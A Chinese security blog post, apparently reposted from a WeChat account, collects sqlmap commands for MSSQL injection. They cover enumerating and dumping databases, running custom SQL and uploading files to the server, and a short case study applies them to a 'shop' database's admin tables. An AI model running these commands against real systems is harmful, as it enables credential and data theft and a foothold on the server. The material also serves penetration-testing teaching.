sqlmap基于mssql注入利用及总结

admin 2024年10月31日12:15:09评论11 views字数 2976阅读9分55秒阅读模式

    SQL注入在渗透过程比较重要,例如在正面或者边界可以通过SQL注入获取目标数据库的一些信息,特别是涉及后台登录的账号及密码,目前对SQL注入比较好用的工具SQLMAP配合burpsuite,可以实现意想不到的效果。以前曾经写过一本书,喜欢的朋友可以购买。

1.1 基于mssql的sqlmap注入命令总结

利用sqlmap对注入点进行测试主要有两种方式,一种是基于url地址,另外一种是抓包保存为文本文件。

1.基于URL地址的SQL注入测试

(1)基本注入测试

sqlmap -u "http://example.com/page.php?id=1" --dbms=mssql

(2)检测所有可用的参数进行注入

sqlmap -u "http://example.com/page.php" --level=5 --risk=3 --dbms=mssql

(3)枚举当前数据库及列出所有数据库信息

sqlmap -u "http://example.com/page.php?id=1" --current-db  --dbs  --dbms=mssql

(4)列出指定数据库中的所有表

sqlmap -u "http://example.com/page.php?id=1" -D dbname --tables --dbms=mssql

(5)列出指定表中的所有列

sqlmap -u "http://example.com/page.php?id=1" -D dbname -T tablename --columns --dbms=mssql

(6)转储所有数据库

sqlmap -u "http://example.com/page.php?id=1" --dump-all --dbms=mssql

(7)转储指定数据库的所有表

sqlmap -u "http://example.com/page.php?id=1" -D dbname --dump --dbms=mssql

(8)转储指定表的数据

sqlmap -u "http://example.com/page.php?id=1" -D dbname -T tablename --dump --dbms=mssql

(10)使用不同的技术(如堆叠查询、错误回显等):

  • 使用堆叠查询技术

sqlmap -u "http://example.com/page.php?id=1" --technique=S --dbms=mssql

  • 使用错误回显技术

sqlmap -u "http://example.com/page.php?id=1" --technique=E --dbms=mssql

(11)使用自定义的HTTP头部

sqlmap -u "http://example.com/page.php?id=1" --headers="User-Agent: MyCustomAgent" --dbms=mssql

(12)使用POST方法发送数据:

sqlmap -u "http://example.com/page.php" --data="id=1&submit=Submit" --method=POST --dbms=mssql

(13)执行自定义的SQL语句:

sqlmap -u "http://example.com/page.php?id=1" --sql-query="SELECT * FROM users" --dbms=mssql

(14)上传文件到服务器:

sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="C:pathtoremotedestination"

2.基于保存的文件进行sql注入测试

使用 -r 选项,你可以从一个文本文件中读取请求数据。这对于处理复杂的HTTP请求(例如POST请求)非常有用,特别是当请求包含大量参数或需要特定的HTTP头时。下面是如何使用基于 -r 选项和 t2.txt 文件来执行SQLMap命令的例子。假设你有一个名为 t2.txt 的文件,它包含了完整的HTTP请求。这个文件可能看起来像这样:

POST /page.php HTTP/1.1

Host: example.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 26

id=1&submit=Submit

(1)基本注入测试

python sqlmap.py -r t2.txt --dbms=mssql

检测所有可用的参数进行注入:

python sqlmap.py -r t2.txt --level=5 --risk=3 --dbms=mssql

枚举数据库信息:

获取当前数据库名称:

python sqlmap.py -r t2.txt --current-db --dbms=mssql

列出所有数据库:

python sqlmap.py -r t2.txt --dbs --dbms=mssql

列出指定数据库中的所有表:

python sqlmap.py -r t2.txt -D dbname --tables --dbms=mssql

列出指定表中的所有列:

python sqlmap.py -r t2.txt -D dbname -T tablename --columns --dbms=mssql

数据转储:

转储所有数据库:

python sqlmap.py -r t2.txt --dump-all --dbms=mssql

转储指定数据库的所有表:

python sqlmap.py -r t2.txt -D dbname --dump --dbms=mssql

转储指定表的数据:

python sqlmap.py -r t2.txt -D dbname -T tablename --dump --dbms=mssql

使用不同的技术(如堆叠查询、错误回显等):

使用堆叠查询技术:

python sqlmap.py -r t2.txt --technique=S --dbms=mssql

使用错误回显技术:

python sqlmap.py -r t2.txt --technique=E --dbms=mssql

执行自定义的SQL语句:

python sqlmap.py -r t2.txt --sql-query="SELECT * FROM users" --dbms=mssql

上传文件到服务器:

python sqlmap.py -r t2.txt --file-write="/path/to/local/file" --file-dest="C:pathtoremotedestination" --dbms=mssql

1.2实战案例

1.获取基本信息

python sqlmap.py -r t2.txt --batch  --dbs --current-db

sqlmap基于mssql注入利用及总结

2.获取数据库表

python sqlmap.py -r t2.txt --batch  -D shop --tables

sqlmap基于mssql注入利用及总结

3.寻找关键表

(1)admin

(2)user

(3)获取列名及数据

python sqlmap.py -r t2.txt -D shop -T *_admin --columns

sqlmap基于mssql注入利用及总结

4.dump数据表

python sqlmap.py -r t2.txt -D t_admin --dump

双十一快到了,也推荐一下以前写过的一些书。

原文始发于微信公众号(小兵搞安全):sqlmap基于mssql注入利用及总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月31日12:15:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sqlmap基于mssql注入利用及总结https://cn-sec.com/archives/3337059.html

发表评论

匿名网友 填写信息